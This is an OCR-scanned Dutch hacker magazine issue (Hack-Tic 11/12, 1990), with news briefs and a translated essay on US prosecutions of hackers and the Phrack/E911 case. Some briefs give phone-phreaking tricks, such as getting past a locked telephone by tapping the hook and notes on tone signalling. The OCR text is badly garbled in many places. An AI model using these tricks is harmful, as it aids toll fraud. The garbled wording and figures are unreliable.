Dubbeldik en extra geconcentreerd

LIDSCHRIFET. VOOR.
EEHNO-—HNARCHISTEI\!
Met in dit nummer:

e Wetsvoorstel computercriminaliteit
« Vervolging hackers inde USA
« Wij kopiéren je Magnae’lckaart!
« WordPerfect-5 locked-file decoder
o Valsspelen op fruitautomaten
e €N NOQ veel meer ...
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COLOFON

Hack-Ti is Nededands serste hackerbiad.
Het veraschijnt zonder enigs regelmast. Het
eorsts nummer verachesn 13 januari 1569,
LHTGAVE: Mot vl mrosite door de Stich-
ting Hack-Tic, sen cover-up voor sen grosp
incivichioan: pondker anige kennis van zaken,
MELDANK AAN:: The Key, Herman Acker,
Peter Posiman, Rhincewind, Taco, Paul,
¥okum 3, The Dude, The Great Elnstein,
ARG B Productions, Gert an Rop. Verder korij-
gen we informatie uit de gekste kringen.
LLLUSTHRATIES: Koen Hottentot.

G\, Archibald Tuttle

KONTAKT: De redaktis is te berelken via
p.b. 22053, 1100 DL Ameterdam. UUCP:
ropggoocuvanl. Ons telsfoonnummer
s 020-80014850 (ona supardeluxs ant-
woordapparaat stast 24 uur per dag ot uw
baachikking).

PRLIS: Losse nummes kosten 4 guiden,
oen abonnement voor 10 nummers (hoe
lang heat ook duurt om die uit te geven) kost
F 37.50. Abonnementagaiden kun je over-
maken op gironummer G0BST8S Lny. de
Stichting Hack-Tic of op bankrakening-
nammer $8.7284.541 Ln.v. Rop Gong-
grijp. Abonnementen beginnen met het
|antst yilgegeven nummer tenzi| j& b de
betaling sen ander beginnummes Ban-
geetft, Dit is sen dubbeinummer en het kost
f 7.-. Badrijven en instellingen betalan
f 100,- voor een abonnement,
ABONNEMENT YOOR HEY LEVEN: Vioor
f375,.- heb je oen lvensiang abonnement
op Hack-Tic dat zelfs na de dood tests-
manialr op een ander over kan gaan. Het
abonnement duurt rolang Hack-Tic dourt.
Noolt meer gaxeur met het verlengen van
je sbonnement! Bultenlandse Levens-
abanness krijgen son gratis woordenboek
van Nederands naar de taal van hun kou-
20. Als |0 abonnea voor het leven wordt
krilg |& adle ouds nummens (Voor Tover

voorradig) thuls gestuurd.
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PRIVACY: Hat is natuurijk via onze bank-
afschiften makkelilk na 8 gaan wie er
abonnes djn. Heb jo sen mastschappe-
lijlee positie die je niet wilt vedlezen dan kun
Jo ook eid en adres bijsiuiten In sen enve-
lop en dis a&n onze postbus sturen, wij
weten dan genoeg. De Hack-Tic wondt al-
tild verstuurd in sen neutrale snvelop.
Hack-Tic ia ook varkrijgbaar b de goede
boekhandal.
DISCLAIMER: rformadie in Hack-Tic dient
slechts een sducatief doel. Gebruik van
deze infmate xou strafbas/staatsge-
vaaddijky stout kunnen zijn. De redaktio wijst
leders verantwoordslijkheid voor gabruik
door lazers van de in Hack-Tic opgenomen
informatie al. D8 mening van sen auteur
wesrspegelt niet noodmakedgkerwijs de
mening van de redaktie of uitgever.
NADRUK: tosgestaan! Kranten, tijdschri-
ten, onwospsliohtingen, politisks partijen,
wasmachinereparateurs etc. etc. mogen
zonder vooralgaands toesternming van de
recdaktie (maar natuurdijk mst bronvermed-
ding) stukken overneman ult de Hack-Tic.
De bovenstaande disclaimer bilifft achter
van kracht. Nadruk van de gehels Hack-Tic
is natuurlifk verboden.
NABESTELLEN: Oude nummers kosten
f4,- en kunnen via de redaktiepostbus be-
steld worden. Sommige nummers xijn
schaars an moeilijk te pakken te krijgen.
HOE; Hack-Tic werd met Ventura 2.0 ge-
masak! op een gammele AT, Print-outs van
alke pagina warden met 20'n modern |a-
sorgeval gezoeft en daama ambacitelijk
gedrukt. Dan nog even ergens laten vou-
wan, nislen on snijden an klaar was Kees.
. Erg moeilijk, maar wel-
licht bij: He1 Computescollectied, Fort van
Sjskoo en Athenasum Boskhanded, allen In
Amsterdam, De Rocie Rat # Ltrecht, Denc-
ker in Nifmagen en Athenasum in Haarlem.



Dit is Hack-Tic 11/12

{Ale je het nag niet door had)

Zoals gewoonlijk komt deze
Hack-Tic precies uit op het moment
dat je je afvroeg of we nog wel be-
stonden. Hier zijn 48 pagina’s onver-
sacden informatic. Zo hebben we
onder andere een kopicerservice
voor magnectkaarten (zie pagina 24)
en een artikel over "softwarebugs” in
fruitmachines, Ook hebben we in dit
nummer een decoder voor de ver-
steutclde bestanden van WordPer-
fect en het zoveelste troukje om gra-
tis te kuanen bellen in telelooncel-
len. Oh ja, we staan 31 november en
1 december op de HCC-dagen in de
jaarbeurshallen in Utrecht {sland
K67.5) met onder andece een Ainke
voorraad oude nummers en de mag-
neetkaastcopicr.

We hebben 10 nummers lang veel
aandacht besteed aan technische
truukjes en tips die wij zell leuk von-
den en waarvan we vonden dat meer
mensen ze zouden mocten wetcn,
Maak je niet ongerust: dat blijven we
doen, ook als de *wet compikercri-
minaliteit” er door komt, Misschien
zullen we sommige zaken iets anders
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formuleren maar het merendeel van
de artikelen in Hack-Tic bljfl zoalks
het was.

Wel is het tijdstip aangebroken
om cven uit ons hi-lech holletje te
kruipen en cen kijkje te nemen in de
niet-virtuele wereld. In deze Hack-
Tic een artikel over de wet compu-
tercriminaliteit en wat deze wet voor
hackers betekent, Verder cen groot
artikel vit de Verenigde Staten over
hacker-vervolgingen aldaar. Dit arti-
kel plaatsen we met het beangstigen-
de voorgevoel dat het hicr de 'ge-
schiedenis van ecn mogelijke toe-
komst in Nederland’ betreft.

Een hoge agent bij ecn vande dee
regionale leams die siraks de com-
putercriminaliteit moelen gaan be-
strijden werd bij Veronica Nieuws-
hijn gevraagd of het spelen van com-
puterspelletjcs op de zaak nu ook
computercrirunaliteil was. Het ant-
woord: "Nou dat is ecn randgeval”.

Hier is Hack-Tic, het bind voor
randgevallen !
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Hack-Tic Light

talefoontijnifa snuivan

In Spanje schijnt cen nieuwe rage
te zijn ontstaan: junks hebben ont-
dekt dat bij verbranding van dc
hoorn van een spaanse tekefooncel
gassen vrijkomen waar je high van
wordt, Het verhaal vertelt niet of dit
alles erg goed voor je 15, maar de
gerste chemische telefoonversla-
vingen zijn een feit)

Just say No

De Amerikaanse computerveilig-
heidsexpert Eugene Spafford zegt
dat het bedrijfsleven een bijdrage
zou kunmen leveren aan veiligere
computersystemen door geen hack-
ers meer aan te ncmen, Spafford, die
onder meer bekendheid geniet door
zijn sacle analyse van de Internet-
Worm, wil er geld op zetten dat de
schrijver van deze worm - Robert T.
Morris - een hoog salaris kan ver-
dienen bij de vele computerveilig-
heiwdshedrijven bij wie hij hoog op
het verlanglijstje staal. "Het is alsof
je ecn bekend brandstichter aanstelt
om een brandalarm te installeren”,

. aldus Spafford, "Alsof de kennis van
brandstichting je een betere brand-
weerman maakt',

Spafford zou ons inziens best iets
meer cerbied kunmen hebben voor
de mensen die zijn broodwinning
mogelijk maken,
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06-11 als elk kwarije teit |

06-11, het nicuw ingevoerde lan-
delifke alarmnummer, is nog steeds
vanuit veel telefooncellen NIET gra-
tis te bellen, Bel als je weer cens in
een telefooncel bent 007 (wel gratisl)
en rapporteer dit als een storing!

Chaos Communication
Congress

Het jaarlijkse Chaos Communi-
cation Congress vindt zoals gebrui-
kelijk plaats in het Eidelstiitter Bilr-
gerhaus, Elbgaustr. 12, D-2000
Hamburg 54 en loopt van 27 t/m 29
december. Het kost DM 30,- voor
drie dagen en is de perfecte gelegen-
heid om de trieste namaakvrolijk-
heid van de kerstdagen te ontvluch-
ten, Als je op zoek bent naar ecn
goedkope Il kun je altijd met ons
hoofdkwartier bellen (zie colofon)
voor meer informatie.

L egaal goedkoper belien

Internationate gesprekken zijn
duur. Het is echter volstrekl legaal
(1) mogelijk om een stuk goedkoper
le bellen, Als je een gesprek van Ne-
derland naar Duitsiand via ecn sluk
Mederland met grenstarief laat
lopen ben je soms ecn stuk voordeli-
ger vit. En als je een kabel over de
grens hebt liggen kun je een hele
stapel telefoongesprekken tegen



ramsjprijzcn aanbieden., Dat hier
cen grote markt gt hebben ze in
Amerika al lang bedacht: "doorbel-
nummers’ langs de greas stckea de
kop op en dwingen AT&T om de
Amcrikaanse laricven al in Novem-
ber fors omlaag te brengen.

Toen er veel te weinig lijnen wa-
ron vanuit West- maar Oosl-Berlijn
werden veel gesprekkea via Neder-
land gevoerd. Dit was wel duurder,
maar je kon tenminste bellen. Als je
aan de grens woont lijkt het ons dat
je een zakcentje kunt verdienen.

Fictisve nelnummears

Wellicht voor velen al cen oud
truvkje maar toch: etk telefoondis-
trict hecft ecn petnummer 0XX01
waarbij XX staat voor het tweede en
derde cijfer van elk S-cijleng net-
nemmer in dat district. Bel je nu
OXX01-1YY dan bel je de 0O0Y van
dat district (dus 008 in district Ut-
recht is 03401-188). Bel je 0XX01-
11Y dan bel je de 001Y van district

X X. Districtnummers zijn:

1l: Goes 441 Maastrioht
161 Breda 47 Venlo

17¢ Dan Haag 49: Eindhoven

18: Rotterdam 1 Leawwardan
21: Hilversum 52: Zwolle

21: Alkmaar S4r Hengelo
251 Haarlem %63 Loguwarden
2%: Amstardam S7T: Davantar
32: Lelystad 59 Groningen
34t Utrecht 831 Arnhem

41: Den Bosch §8: Hijmegen
423 Tilburg

" Leeuwarden heeft twee *SA-cij-
fers” (Zo heten ze in PTT-jargon)

omdat er teveel gehuchten met 5-ciy-
ferige netnummers waren.

Dit truukje kan handig zijn als de
008 in je cigen district veel te lange
wachlrijen heclt of als jc de 004 van
een ander district wilt spreken,

Telefoons met een siolje

Mocht je hospita zo’n tclefoon
met een slot op de kicsschijf of een
door de PTT geleverde telefoon met
ingcbouwd slotjc hebben geinstal-
leerd dan kun je door middel van
korte tikjes op de haak toch nog bel-
len: 1 tikje is het cijfer 1, en 10 tikjes
maken hel cijfcr 0. Ben korte pauze
tussen elk cijfer cr cen lange Gd
ocfenen op de wat hogere cijfers
docn wondcren. Mocht je op cen
tooncentrale zitten dan kun j¢ na-
tourlijk ook bij de lokale taiwanees
cen DTMF-kiczertje kopen.

Rectificatie

Beter laat dan nooit: in Hack-Tic
nummer 1 gaven we ecn beschrijving
van het signalleringsysteem CCITT-
4 zoals gebruikt in de internationale
telefonie. Een abonnee maakte ons
er laatst op attent dat daar een foutje
in geslopen is: Tussen de 4 toontjes
waaruil elk ciffer bestaal hoort een
pauze van 40 ms en dat stond niet in
het artikel.

We komen in de volgende Hack-
Tic met mecr signaleringssystemen
en wat je zoal met cen toongencralor
en een telefoonnet kunt vitspoken.

Hack-Tic #11-12/19%0



Hacking In de VS

In de VS worden hackers aktief
vervolgd. Sterker nog: iedereen die
waarschijnlijk wel cens iets met ha-
¢ken te maken zou kunnen hebben
kan rekenen op de warme belang-
stelling van ecn groot aantal over-
heidsinstellingen. Een groot aantzl
anii-hacking welten moet bet Ame-
rikaanse publick beschermen tegen
de bedreiging dic hackers vormen
voor hun dagelijks leven.

Het lentcaummer van 2600 Ma-
gazine zelte de zaken op een rijtje en
beschreel hoe de 'Secret Service’
{ecn orgasn dat de president en het
geldverkeer moet beschermen) om-
gaat met burgerlifke vrijheden gedu-
rende haar pogingen om ecn hacker
en telefoonphreak-tijdschrift de
mond te snocren. Omdat de kans
niet denkbeeldig is dat we hier in
Nederland binnenkort ook wetten
tegen het hacken krijgen en eigenlijk
niemand zich kan voorstellen hoe die
wetten gebandhaafd moeten guan
worden besloot ik een kijkje te gaan
nemen in het land waar deze vervol-
ging het meest voortvarend wordt
aangepakt. Al sncl waren dce koffers
gepakt ea zal ik in het viiegiuig op
weg naar het land van de onbegrens-
de mogelifkheden.

(Goed, na het aflopen van bijeen-
komsten voor hackers in New York
en door heel California is eigendijk
maar een conclusie mogelijk: or zija
daar nog maar weinig hackers over
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dic er tegern wweemden voor durven
uitkomen dat ze hacken. Openbare
on-line systemen mocten dichl om-
dat de sysops hel niet meer kunnen
opbrengen om alle post op hun sys-
teem te controkeren op ‘illcgale’
technickea en ideeén. Amerikanen
die een leefiijd hebben bereikt waar-
op z¢ juridisch volledig aansprake-
lijk zijn en dus jaren de gevangenis in
kunnen verdwijnen houden zich dan
ook zelden of nict mecr met dalarci-
zen bezig. Ondertussen roepen pu-
blicke aanklagers ouders op om het
modem uit de kinderkamer te ver-
wijderen.

Op de no volgende pagina’s het
oorspronkelijke cn cigenliyk nog
steeds beste verhaal over de sitivatie
ter plaatse, geschreven door Em-
manuel Goldstein. Dit verhaal komt
wit 2600 Magazine, maar is ook op

diversc Amerkaanse  bulletin
boards en op het USENET vele ma-
lent te vinden. We plaatsen het

hele artikel omdat het {in al haar
al-dan-nict digitale verschiningen)
volgens ons aan de basis Egt van cen
nicowe siroming in kringen vam
hackers. Het verhaal is voor Hack-
Tic iets aan de lange kant, en om het
onverkort te kunnen plaatsen heb-
ben we hel maar in een wal kleiner
lettertje gezet,



For your protection

Door Emmanuel Goldataein

Al jaren vericll 2600 verhalea over hack-
ers dle met handhavers van de wet te maken
krijgen. Het s verontrostend o 16 zien dat
onruststokers en ontdekkers in het gevang
belanden omdst ze mel het verkeerde speel-
goed speelden on te veel vragen siclden.
Toendertijd zeiden we dat het belangrijk was
om tegen zulke onrechivaardigheden fe pro-
testeren. Ze konden ons (enslotte niet alle-
meaal opsludten.

Het kijkt or echier op dat dic operatie nu
wel degelljk op de agenda van enkele zcer
machlige overheldsinstellingen siaat. Pn nog
beangstigender is dat het dexe mstcliingen
mict bijzonder kan schelen wie of wat er met
dic hackers meegeveegd words, zo lang alle
backers maar opgevecgd worden. Khaarblij-
kelijk zijn wij cea grolere bedreiging dan we
voorheen hadden sangenomen,

Terugkilkead komt dit alles met echt als
ecn verrassing. [igenligk begind het nu alle-
maal te dagen. Je hoefi niet langer paranoide
of politick gemoliveerd fe zijn om dc parallecl-
ien te zicn in wal cr gebewrd i Consuur,
politicoptreden, "vrijwillige' wrineiess, leu-
gendeteciors, andschriflanalyse, bewakings-
camera's, overdreven erises die allemaal fei-
den (ol minder vrijhcid. En dan te bedenken
dat je onschuldig bent en niks 12 verbergen
hebt. En alies ved cffectiever doordat het
immers gaal om onbegrijpetijke hi-kech. Wic
mnders dan d¢ mensen dic begrijpen hoe de
technick werki zou jij annwizen als het groot-
ste struikelblok? Het lijki er op dat de groot-
si¢ bedreiging voor het systeem beslaat uit
menscn die hed kunncn manipuleren.

Het nu volgende verhaal is beangstigend,
zonnckiaar en simpel. Je¢ hocit geen hacker fe
ziin om het tc begrijpen. De woorden en
idecEn zijn ecnvoilig overdraaghaar naar
clke tijd en chke cwllour.

Invalien

"We kunnca nu cen razzia vorwachlen ..
Ik boop alicen maar dat 1k er doorheen zal
komen en mijn vricnden ook. Het is 1i)d om
pom jezell te denden. Het mankt niet vit waar
je mee bezigbent ... Hetziet crnaar wit dat de
overheid denkt dat het einde in zicht is .. 1k
denk dat ze achter de "lerarcn’ aameicn ... £n
dat is dus wear 2¢ han energic aan besteden:
ale hackers stoppen cn zelfs voorkomen dat
mensen een bedeeiging worden."

Dit was cen van de reacties Op cen CcOM-
puterbulleiin board op een serle van invallen
blj backers. De invatien begonnen in 1989 en
intensiveerden begin 1990, Atlanta, St. Louis
ea MNew York waren hoofddoelen in wat tocn
nog ccn onbekend anderzock was,

Dit zou op zich niet zo atarmerend zijn -
Invallen bij hackers zijn gewoon geworden -
ware het niet dat er voor de eersie ketr ¢en
hacker-tijdschrift mee "geélimincend’ is.

Phrack was cen electronische nieuwshricl
verspeeid vanuit SI. Louis en werchdwijd ge-
disteibueerd. Phrack schrecl over hacker- €n
phreakzaken en was te vinden op bijna alle
hacker bubletin boards. Hoewel soms gevoc-
lige zaken gepwbliccerd werden, keken de re-
dacieuren er wel voor uit izls illegaaks tc pu-
bliceren (zoals credi card nummcrs, pass-
words, sprint codes, eic.). We beschreven
"Fhrack World News® (een vaste rubrick in
Phrack)in onze zomer-82 edilie als "een must
voor veel hackens”. Phrack leek op veel ma-
nicren op 2600, met als vilzomdering dat
Phrack via de eleciromische post wend ver-
siuurd inplasts van met US. Mail. Dii onder-
scheid werd Parack’s onderpang.

Het blijkt nu dat alle inkomende en wit-
grende clectronksche berichien voor en van
Phrack werden gevolpd door de autoriteilen.
Blk bericht in en elk bericht wit! Het betrof
hicr geen gehackie mallboxen die door ecn
paar hackers gebruikt werden. Ehet beirof
post naar legake accounts die verkregen warcn
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via de sehoo] waar de twee redakteuren op
zaten. Privacy op zulke mailboxen, hoewel
niet gegarandeerd, kon als vanzedfsprekend
worden aangenomien. Nu niet meer.

Het iz tamelijk duidelijk dat niets van dit
alles was gebeurd, nicts van dit alles had kun-
men gebeuren als Phrack een niet-gleciro-
nisch tijdechrift was geweest. Hen gedruki
tijdechrift zon niet 20 makkellfk t¢ Intinide-
ren xin ont z'n malling-list of te geven zoals
dit bij Phrack hel geval was. Als cor gedrukt
tijdschrifl op deze menler was gevioerd nadat
atle post geopend en gelezen was dan rooden
zelfs de minder begaafde scasaticzuchtige
media-figuren het gesnapt hebben: hee, is dit
niet in strijd met het First Amendment?

Berichten van journalisten die begrepen
wal er aan de hand was en dic de implicalies
overzagen verdronken snel in de media-hys-
terie die volgde. Mensen werden in staat van
beschuldiging gesield. Uligever/redakteur
Craip Neldord, in de hacker-wereld bekend
als Knight Lightning, werd in cen zeven pun-
ten tellende aanklacht beschuldigd van mede-
plichtigheid aan 2en complot om informatie
te stelen over het geavanceerde 911 systeem
{Amerikaanse alarmnummer, HT) zoals dat
door Bell South wordt geéxploiteerd. Al snel
schreeuwden de krantekoppen dat hackers
in en hadden in het 911-systecmen rod-
zociden met alarmgesprekken. Fen krantear-
tikel zci dat er geen aanwijziegen waren dat
iemand was gestorven of gewend was geraakl
als gevolg van het binnendringen. Wat een
oplechting. Jammer dat het nlot wasr wag

Im werkelijkbeid 24jn er enkele ernatige
wonden ontstann als gevolg van bet tinnen-
dringen: het Binnendringen door overheld en
media dar wel ke verstaan. Wonden bi} de
verdaciuen dic grote mocllijkkeden zulicn
krijgen om met hun leven door 1e gaan rcbfs
als dil eorgen allemanl vergeicn Is.

Als ket niet vergeten wordt kam Craig
Nexdorf meer dan 30 jear de gevangenis in-
gaan en een boele krijgen van $122.000. En
waatvoor? laten we cens naar de samkiache
kijkenc

"Het was ... deel van het plan dat verdach-
te Newdorl, gebruik makend van een compu-
teropde Universily of Missouri in Colombla,
Missourt zou en heeft onivangen cen kopic
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van de gestolea BO11 tekstfile van verdachie
{Robert 1.) Riggs (uit Atlanta en in de Hack-
wereld bekend als Prophet) vik eca compuler
bulletin board system in Lockport (linlos)
ea vis het gebrulk van ean interokaal data-
netwerk.”

*Verder wus deel van het plan dat ver-
dachie Neldorl het B%11 actikel zou bewer-
ken en herschrijven en ook heeft bewerkt en
herschreven op verzock van verdachie Rigps
zodat de bron wan de BE911-Cursus iextlile
onbekend zou bliver en zodat hel kinar was
voor publicatte in een kacker-tijdschrift.”

*Verder was bet deel van ket plan dat de
verdachie Neklorf de gestofen B911-Curss
fHe via het door verdachic Riggs gebrwifite
interiokale bulletin board sysicem in Lock-
port (Illinols) verder 200 sturen.

"Verder was het deel van het plan dat de
verdachien Riggs en Meidorf informatie zou-
den pubdiceren voor andere computer ba-
chers die gebenikt 2ou kunnen wonrdem om
ongeoorioold tocgang te krijgen tot Alamn-
911 m de VS om zodoende de 911-dienst In
bepaaide delen van de VS te storen of te
blokkeren.”

Eigenlipgk wordt Neidorf dus beschuldigd
van het enlvangen var cen gestolen docn-
ment. Er staat in de sanklacht helemaal alets
wat zelis maar sepgercert dat bij Illegaal een
computer binnen is geweest. Zijn misdaden
zijn ondvangen, bewerken en verder stures.

Wal stest or nuz werkelijk in die file? In-
formatie om cngeautoriseerd tocgang te keif-
gen 1ot, of zelfs schade toe te brengen aan de
911-gervice? Neah Hel document (door de
media abusicvelik 91l-software genoemd,
hetgeen veel misvattingen heefl vercorzasit)
wordi pangehaald in Phrack Volume Z, Nom-
mer 24 en &8 cen gocde kandidaat voor het
saniste arlike] ool verschenen in Phrack. V-
gens do aanklacht is dit document $79.449
waard,

Kort madat de aankiachten waren Inge-
diend kowam cen lid van het "Legion Of Doomn?’
(een groep backers warrvan de verdachien lid
zouden zHn, HT) bekend sls Brik Bloodaxe
me? een pubiicke verkiaring. "Hen groep van
dric hackers haalde op cen gegeven moment
fles wit cen systeem van Southem Bell om er
naar te kifken. Dit s de normale standaard-



procedure: je komt op een sysieem, Rijkt rond
of er iels Intercssanis op slaat, zet het op je
elgen dick en wellicht print je het wil voorde
geschicdschrijving, Geen enkel lid vaa LOD
heefl 0oit (naar mijo weten) in een systeem
ingebroken om zichzelf met de verkregen in-
formatie te bevoordelen ... met wedlicht als
enige witzondering ecn vergroting van de per-
soonHjke reputatie in de underground. Ben
hacker heeft die documentate genomenen er
cen tekst over geschreven. Er zijn clgeniljk
twee files, de ene iz een overzichtende andere
I8 cen iadex. De Informaltie is ongeschiki om
iets anders aan tc ontlencn dan kennis over
hoe een [eagment van het telefoonnet werkt."

Verder zei hij dat Neidodf geen manler
had om te comtroleren of het hierom bedriils-
geheime informatic ging.

D¢ opeabare annklagers welgeren te zeg-
gen wat de hackers aan dexe informatie had-
den kunnen hebben, zlj bebben geen moticf
N gEvEn gooh OpRAVE Van de pekeden échade.
Verderis het een publiek gehelm dal veel van
de informatie vit de hles als naslagwerk pu-
blickedijk beschikbanr is.

In aHe aanklachien wordt ket Legion Of
Dcom omschreven als cen “slerk somen-
hangende groep computer hackars® die zich
bezighouden met:

@ het verstoren van telecommuricalic door
ket binnendringen in ekectronische scha-
kelsysiemen en hel veranderen van de
rouferiagen van de verbindingen in dexe
clcctronische contrales;

® helsielen van copyrighéed source code en
informatie van bedrijven en individuen
dic deze ln bezit hebben;

@ het stelen en verandercn van informatlc
bij compulers van kredietinsteRingen.

@ hetfrauduleus verkrijgen van geld en goe-
deren van bedrijven dooc het verandecen
van computesinformatie die door die be-
drijven wordd gebraikt,

@ betgeven van informatic over hur metho-

des om compulers aan ke vallen san ande-
re hackers om zo de aandachd van wels-
handhavers en telecommunicatic-veilig-
heldsambienaren af ic leiden.

Het is wrange wrcmic dat het LOD, dat
geen "sierk samenhangende groop® w, zich
niet tegen deze aankiachiea kan verdedigen
daar clke anngeckisagde het mel zipn cigen
verdediging veel te druk heeft. (Neldorf was
trouwens geen lid van het LOD en Phrack was
geen publicatie van het LOD, dit in tegenstel -
ling tot wat vole persbernichien beweren.)

Het wild wordt opgedraven

De system operator van The Phoenix
Prajeel, na gehoord te hebben wat er met de
electronicche post van Phrack was gebeurd,
beslool aldic te ondernemen om de privacy
van zijn gebrulkers te beschermen. "k voeg
binnen twee weken een coderingsroutine aan
het postgedesiie koo, Ik wect nog niel preeies
hoe §ik et ga sanpakken, masr mensen kun-
nen straks gecodeerde post vitwissclen met
cen wachiwoosd wal atkeen zij keanen-... Hoe
dan ook, ik denk niet dat ik een inval kriyg. ...
Ik run allcen maar een BEBS. Toch bestaat de
kans. Ik ga ervan uit dat mijn lijnen afgetapt
warden tenel] het tegendeel bewezen Is. Je
kunl je afveagen of het wijs is om het systeem
sowicso te laten draasien, maar Ik heb per-
soonfijk enige onderzocksinstanties gebeld
cn her witgenodigd hier aan de discussie deel
t¢ nemen. Als 3k het gevoel keb dat het run-
nen van &t systeem mij in gevaar breagt dan
hou ik ¢r zonder verder bericht mee op - Ik
hoop dat iedercen it begrijpt. Her ziel er
naar uit dat hel jachiscizocn is geopend. Ea-
ten we hopen dat we er allemaal nog zijn over
6 maanden om er over (¢ peaten.”

De nieuwe privacybescherming werd
nooit ingebouwd; De appamsiuur van The
Phoenix Project werd enkele dagen later in
beslag genomen.

De jacht werd nog stecds intensicver. Op
1 maart werd door de Sccret Secvice een inval
gedaan bij het kantoor van Steve Jackson
Games, cen vitgevenij in Austin. Volgens het
AP ateuvwsbericit werd ook het huis van de
hoofdredakteur doorzocht. Poliic en Secret
Service namen bocken, gebrulksannwijzin-
gen, compulers, techndsche apparatwaren an-
dere documentatic mee. Dok de lnailsie versie
van ecn door de firma geschreven sclence
fiction spel werd mesgenomen. Volgens de
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lokale krant "Avslit Ameorican Stalesman’
wilden de autoriteiten weten of het spel ge-
bruikt werd alz een handbaek voor computer-
criminalitel,

Bellers naar het 'THominsél' BRS {van
Steve Jacksom Games) kregen de volgende
tekst op hun scherm:

*¥oorwe op 1 maart aan het werk konden
werd Steve Jakeon (kames berocht dooragen-
ten van d¢ United Statcs Sccrel Service. Zij
hebben het gebouw grondig doorzocht, een
aantal dozen in de opslagruimie opengeirok-
ken, cen pazr sloten gebroken, een paar ar-
chicfkasten beschadigd (waar z¢ best in had-
den mogen kijken als wij maar aasr blrnca
hadden gemogen om 2e open te maken), de
telefoon op zfin zachist geregd onbeleald op-
genomen ca enige computers in beslag geno-
wien, onder andere die wasrop dit systeem
indertijd lep

“T'ot nu toe is ons nog nlet duideliji vitge-
legd waar mea naar zocht, wal men hoople 1e
vinden of wet dan ook. We =djn er redelijk
zeker van dat Sieve Jackson Gamaes niat het
onderwerp van het onderzoek is; hoe dan
ook: we hebben niets iMeganks gedaan en we
heten niels 1e verbergen. De apparatuurdic
In beslag is genomen beschouwt mest echier
kennelijh als bewijs inde zank die menann het
onderzocken is, en dus an kel nog wil even
duren vopr we dle terug hebben, Zou over
ccn maand kunnen zijn, of noolt..-

“Om de kaws dat ook dit sysicem in beslag
genomen wordt te verkleinen wordt elleen div
bericht witgezonden en verder niets. Op het
moment is er geem berichicaverkeer moge-
lifk, We verontachuldigen ons voor het onge-
mak, durfden we maar meer.”

Een van de system operators van The
Phoenix Project was ook bij Steve Jackson
{iames betrokken, en dat was voor e autori-
feiten genoeg

Ia het hele Isad gngen <¢ invallen door
en volgeas de berichien gimgen vele BBSen
van delijn. In Atlantaschreven de kranten dat
drie plaatselipke LOD leden aankeken tegen
40 janr gevangenissiral en cem bocte van 2
mijoen dollar.

Ben verkiaring van cen van de leden van
het Legion Of Doom {The Mentor, ook sysop
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van The Phoenix Project) probeerde de siug-
tie wit te legpen:

"LOD is cpgericht om de beste denkess
vit de compwier-underground samen te
brengen - en nlet om schade toe te brengen of
om persoonkjk gewin na te streven, Het doel
wes het delea van informatie en het bespre-
ken van de technick. De groep heefi slilifd de
hoogsle sthische normen nagestrectd.... In

ccn hoop gevallen hebben we ingegrepen om
misbruik van aa te voorkomes.... Ik

ken de mensen die bij de 911 zeak betrokken
zin al jarcn en ket was absohrd nict de be-
docling om op wat voor manier dan ook de
werking van ket 911 systeem 1¢ verstoren.
Hoecwelwe 2o aa endanseacomputer binnen
zijn gegaan waar we niet thuls hoorden Is het
een reden voor oilsloling vit de groep om iets
stuk te maken of frawde ¢ plegen voor per-
soomijk gewan.

"De groolste misdaad die we bogasn beb-
ben & nlouwsgiesigheid.... We zijn ervoor
verantwoordelijk ds in het vericden vele vei-
ligheidstekien zijn gedicht, en dat hopen we
fe bifjven doen. Ben grote groepvan (anonic-
me) compatervclli ris zitl ons als
bondgencien. Als zij het verkiczen om zich
bekend te maken zouden we de ondersten-

ning op pris stellea.”

De ware aard....

Op hetzelfde moment ontvowwde zich in
Lockport, [linoks een vreemde geschiedenis,
Het publicke UNIX systeem met de nanm
Jolnet dat gebrulkl was om de 911 fifes door
t¢ renden werd In beslag gemomen. Voorl
vreentd is dat de sysop, Rich Andrews, al
mecr dan cen jear met de federale overheld
sameawerkte. Andrews vond de files twee
jear geieden op zijn systeem en stuunde ze
naar ATET, en daarna namen de sutoriteiten
kontekt met hem op. Hij werkte voliedig mee.
Wanrom werd zijn systeem dan in beslag ge-
nomen? Andrews béweerde dat het allemaxl
dect was van het onderzock msar vocgde er
xaa toc: *Een mander om hackers te pakken is
door de BBSen die ze gebruiken te pakken.*

D¢ Joinct-inval rond een schokgoll van
woede door de BIS-wereld, specianl onder



dc sywops ¢n gebrubkers van publieke LINLX-
sysicmch,

Cilff Pigallo, cen van de sysops vean de The
Well, sen publtek UNIX systeem in Callfor-
nia, sprak zijn bezorgdheid wit: "Hel idco dat
de overkeid censysicem in beslag kan nemcn
als bewljsmaterinal terwi]l vaststanl dat de
cigenazr met het veronderstelde strafbare
felt niets te maken heeft (en zonder enig res-
pect voor het feit dat dat syzteem de brood-
winning van de ¢igenasr kan xijn) veroatrust
me, en het zow voor iedereen die bij cen BRS
betrokken is een zorg moelen zijn.

Da vrijheid wordt ingeperkt
Ondanks alle uitingen van bezorgdheid
om wat or gebewrd was zagen veel beheerders
van sysiemen en BBSen zich genoodzaskt am
de condrote op hun systeem le verscherpen cn
vrije meningsviting een beetje mocilijker to
maken, did alles voor hun cigen veilighoid.

Bil Kuykendal, systeembeheerder van
The Polnl, cea publick UNIX systeem in Chi-
cago, zei kel in cen sankond|ping voor zijn
gebruikess als volgl:

"Br is vandeag de dag geen enkele wet of
jusisprudentie die mij dezelfde rechien geelt
als andere communicaliediensien in het geval
cen dexde (de gebruiker, U dus) min cigen-
dom [The Polnd) gebraikt voor illegale akii-
vitelten. Dat baart mij zorgen.

"Ik ben van plan de weltelijke viaagstuk-
ken die hier op tafel liggen tot hel wlersic le
onderzoeken. lk ben van meningdat de rech-
ten op vrije vergadering en vrije meningsui-
ting in het gedrang komen als eigenaren van
publieke ontmoelingsplaalsen veraniwoor-
deligk waren voor het naspeuren van alle ge-
sprekken In de gangen en WC's van hen ge-
bouwen voor verwifzingen naor illegale akti-
viteiten.

"Onder zulke wetten zeuden alle openba-
re ontmoelingsplaatsen gedwongen apbhou-
desic bestaan on bet recht omvnj te ontmoe-
ten en vergaderen zom ook verdwijnen. Het
gezonde verstand van deze redencring ks door
de welgever nog siet op electronische oad-
moetingspleatsen tocgepast. Dil moet wor-
den algedwongen, of BBScn kouden op te
beslaan,

"Op hetzelde moment wit Ik The Polinl
blljvem beleren met zo min mogelijk risico
voor mijzelf. Daarom cen paar nicuwe richt-
ljncn:

“Geen enkele gebrulker mag meer een
openbaar of prive bericht posten zonder dst
ziln naam en adres deor mij afdoende zijn
geverifieerd. De meeste gebruikers in Chica-
